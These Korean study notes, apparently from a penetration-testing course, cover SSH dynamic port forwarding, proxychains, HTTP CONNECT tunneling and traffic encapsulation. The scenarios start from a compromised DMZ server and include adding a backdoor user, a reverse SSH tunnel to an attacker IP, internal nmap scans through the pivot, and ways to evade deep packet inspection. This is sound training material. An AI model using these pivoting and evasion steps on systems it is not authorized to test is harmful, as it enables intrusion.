15. Port Redirection and Tunneling - 2 (Dynamic, Proxychain,http터널링)

15.2.3 - Dynamic Port Forwarding (어려움)

이제 재미있는 부분이 있습니다. SSH 동적 포트 포워딩을 통해 로컬 수신 포트를 설정하고 프록시를 통해 들어오는 트래픽을 원격 대상으로 터널링 할 수 있습니다. 다음 시나리오를 고려하십시오.
웹 공격을 사용하여 DMZ 서버를 손상 시켰으며 루트 권한을 에스컬레이션했습니다.
이 서버에는 포트 80과 포트 2222가 모두 인터넷에 노출되어 있습니다.
우리의 로컬 공격 시스템에 포트 8080의 로컬 SOCKS4 프록시를 생성합니다.
이 공격은 손상된 웹 서버를 통해 DMZ 네트워크의 모든 호스트에서 들어오는 모든 트래픽을 터널링합니다.
다음 구문을 사용하여 SSH로 이 프록시를 생성할 수 있습니다.

 

ssh -D <local proxy port> -p <remote port> <target>

 

-D: 다이나믹, 클라이언트에서 지정한 포트를 리스닝하다 연결이 요청되면 미리 설정된 원격지로 데이터를 전송
L,R과 D의 차이: D는 1:1이 아닌 여러 포토와 연결(1:N)

 

1. 웹 공격으로 victim 서버 침투, 루트 획득 후 ingress 포트로 80과 2222 포트만 가능한 것을 파악함
2. 루트 권한으로 권한상승에 성공하고 victim 서버에 SSH포트가 열린걸 확인
3.공격자 시스템에서 8080포트의 local sock4 proxy 생성
> ssh -D 8080 -p 2222 a.b.c.d  (-p로 공격자의 victim 웹서버 아이피와  port 지정)

 

 

15.3 - Proxychains (위의 예시와 연계되지 않음)
프록시 체인이라는 유용한 프록싱 툴은 Dynamic Port forwading 기술의 마지막을 보완합니다.
이 도구를 사용하면 HTTP, SOCKS4 및 SOCKS5를 통해 모든 네트워크 도구를 실행할 수 있습니다.
다음 시나리오를 상상해보십시오. 회사 DMZ에있는 웹 서버를 손상시키고 권한을 성공적으로 권한 상승합니다.
루트 비밀번호를 변경하지 않고 로컬 사용자 (hax0r)를 추가하였고 서버로 SSH를 연결할 수 있습니다.
파일 시스템 변경 사항을 최소로 유지하기 위해 당신은 웹 서버에 도구를 설치하고 싶지 않습니다.

 

먼저 다음과 같이 희생자 웹 서버에서 공격머신에 대한 역방향 SSH 터널을 만듭니다.

root@adminsql:/var/www# ssh -f -N -R 2222:127.0.0.1:22 root@208.68.234.100(공격자의 아이피)

 

이제 포트 2222에 우리의 공격머신에 연결함으로써 터널을 통해 웹 서버로 SSH를 연결할 수 있습니다.

 

포트 목록 확인
root@kali:~# netstat -lntp

 

우리의 공격시스템에 포트 8080인 동적 응용 프로그램 레벨 포트 포워딩을 생성합니다.

이 포트에 대한 모든 연결은 SSH 채널을 통해 전달되며 애플리케이션 프로토콜은 원격시스템이 연결될 위치를 결정하는데 사용됩니다. (*즉 8080포트를 사용하도록 설정된 모든 응용프로그램은 원격 서버의 2222 포트로 포트포워딩 됨)

root@kali:~# ssh -f -N -D 127.0.0.1:8080 -p 2222 hax0r@127.0.0.1 (타겟서버의 접속 계정)

*타겟 서버에 SSH서버가 실행되고 있어야한다.

root@127.0.0.1's password:
root@kali:~# netstat -lntp

 

이 시점에서 우리는 공격 머신상에서 8080 포트를 사용하는 프록시 체인을 설정할 수 있습니다.
그 포트에서 리스닝하는 SSH프로세스 인스턴스가 SCOKS서버로써 행동하기 때문입니다.
프록시 체인을 통해 우리는 nmap을 사용하여 원격네트워크의 내부를 스캔할 수 있습니다.

root@kali:~# proxychains nmap --top-ports=20 -sT -Pn 172.16.40.0/24  

(Connect 스캔 옵션을 사용해야 proxychains를 거쳐감...왜 그런지는 나도 모름, 다른 스캔은 filtered로 표시됨)

 

(* proxychains는 서버가 아닌 프록시 포트 설정 기능이 있으며 다른 서버간에 연계해주는 기능으로 보임....)

 

참고:
https://netsec.ws/?p=278
http://manpages.ubuntu.com/manpages/eoan/en/man1/ssh.1.html

 

 

 

(보충) 동적포워딩 매뉴얼 발췌
https://help.ubuntu.com/community/SSH/OpenSSH/PortForwarding

 

Dynamic port forwarding turns your SSH client into a SOCKS proxy server. SOCKS is a little-known but widely-implemented protocol for programs to request any Internet connection through a proxy server.
Each program that uses the proxy server needs to be configured specifically, and reconfigured when you stop using the proxy server.

 

Dynamic port forwarding: connections from various programs are forwarded via the SSH client, then via the SSH server, and finally to several destination servers

 

Dynamic port forwarding is rarely used. For example, dynamic port forwarding lets you bypass a company firewall that blocks web access altogether. Although this is very powerful, it takes a lot of work to set up, and it's usually easier to use local port forwarding for the specific sites you want to access.

If you're using dynamic port forwarding, you need to configure your programs to use a SOCKS proxy server.

For example, say you wanted Firefox to connect to every web page through your SSH server. First you would use dynamic port forwarding with the default SOCKS port:

ssh -C -D 1080 laptop

 

Dynamic port forwarding turns your SSH client into a SOCKS proxy server
The -D option specifies dynamic port forwarding. 1080 is the standard SOCKS port. Although you can use any port number, some programs will only work if you use 1080.

-D 매뉴얼 설명: 로컬 "동적"응용 프로그램 레벨 포트 전달을 지정합니다.
이것은 로컬 측의 포트를 청취하기 위해 소켓을 할당하고, 선택적으로 지정된 bind_address에 바인드함으로써 작동합니다. 이 포트에 연결할 때마다 보안 채널을 통해 연결이 전달되고 응용 프로그램 프로토콜을 사용하여 원격 시스템에서 연결할 위치를 결정합니다. 현재 SOCKS4 및 SOCKS5 프로토콜이 지원되며 ssh는 SOCKS 서버 역할을합니다. 루트만이 권한있는 포트를 전달할 수 있습니다. 구성 파일에서 동적 포트 전달을 지정할 수도 있습니다.
주소를 대괄호로 묶어 IPv6 주소를 지정할 수 있습니다. 수퍼유저 만 권한있는 포트를 전달할 수 있습니다. 기본적으로 로컬 포트는 Gateway Ports 설정에 따라 바인드됩니다. 그러나 명시적 bind_address를 사용하여 연결을 특정 주소에 바인딩 할 수 있습니다. "localhost"의 bind_address는 수신 포트가 로컬 전용으로 바인드되었음을 나타내며, 빈 주소 또는 "*"는 포트가 모든 인터페이스에서 사용 가능해야 함을 나타냅니다.

 

-f: ssh에게 명령 실행 직전에 백그라운드로 이동하도록 요청합니다. 이것은 ssh가 비밀번호나 비밀번호 문구를 요구할 때 유용하지만 사용자는 백그라운드에서 비밀번호를 원합니다. 이것은 -n을 암시합니다.
원격 사이트에서 X11 프로그램을 시작하는 권장 방법은 ssh -f host xterm과 같은 것입니다.

 

-N: Do not execute a remote command. This is useful for just forwarding ports

 

-R: Specifies that connections to the given TCP port or Unix socket on the remote(server) host are to be forwarded to the local side.

 

 

15.4 - HTTP Tunneling (예제는 tinyproxy 서버를 사용한것 같다.)
HTTP 터널링은 일반적으로 HTTP GET 또는 POST 요청의 본문으로 HTTP 프로토콜 내에 페이로드 프로토콜을 캡슐화하는 기술입니다. HTTP 프록시 서버 뒤에서 HTTP 터널링의 변형은 CONNECT HTTP 메소드를 사용하는 것입니다. 여기서 클라이언트는 HTTP CONNECT 메소드를 사용하여 프록시 서버가 특정 대상으로 TCP 연결을 전달하도록 요청합니다. 그런 다음 프록시는 클라이언트 대신 연결을 진행합니다. 서버와의 연결이 설정되면 프록시 서버는 클라이언트와의 TCP 스트림을 계속 프록시합니다.

 

root@kali:~# nc -vvn 192.168.1.130 8888
(UNKNOWN) [192.168.1.130] 8888 (?) open

 

CONNECT 10.11.1.203:80 HTTP/1.0

HTTP/1.0 200 Connection established
Proxy-agent: tinyproxy/1.8.3

 

HEAD / HTTP/1.0

 

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Content-Location: http://10.11.1.203/index.htm

 

15.5 - Traffic Encapsulation

지금까지 포트 필터 및 상태 저장 검사를 기반의 방화벽 규칙을 통과했습니다.
특정한 포트에서 프로토콜을 맹목적으로 허용하지 않는 심층적인 패킷 컨텐츠 검사 장치가 네트워크에 있는 경우 어떻게합니까? 이 경우, 컨텐츠 검사 필터가 HTTP 이외의 프로토콜을 사용하려고한다는 것을 알기 때문에 홈 또는 게이트웨이 시스템에 대한 이전의 아웃 바운드 SSH 연결이 차단됩니다.

 

Client Side Attack 시나리오로 돌아가서 피해자의 컴퓨터에서 공격 상자로 RDP를 터널링하고이 강화된 환경을 다루려고 합니다. 이 경우 각각 HTTPTunnel 또는 stunnel과 같은 HTTP 또는 SSL 캡슐화 도구를 사용할 수 있습니다.

이러한 도구는 일반적으로 클라이언트 / 서버 모델에서 작동하므로 HTTP 또는 SSL 내에 프로토콜을 캡슐화 할 수 있으므로 딥 패킷 검사 장치가 아웃 바운드 트래픽을 허용하도록 속일 수 있습니다.

 

HTTP ENCALSULATION
<-----SSH TUNNEL--
Remote Desktop
SSH TUNNEL------->
HTTP ENCALSULATION

 

 

15.5.1 - Exercises
1. Experiment with the various tunneling options presented.
2. Use SSH to proxy out your web surfing through your Kali host.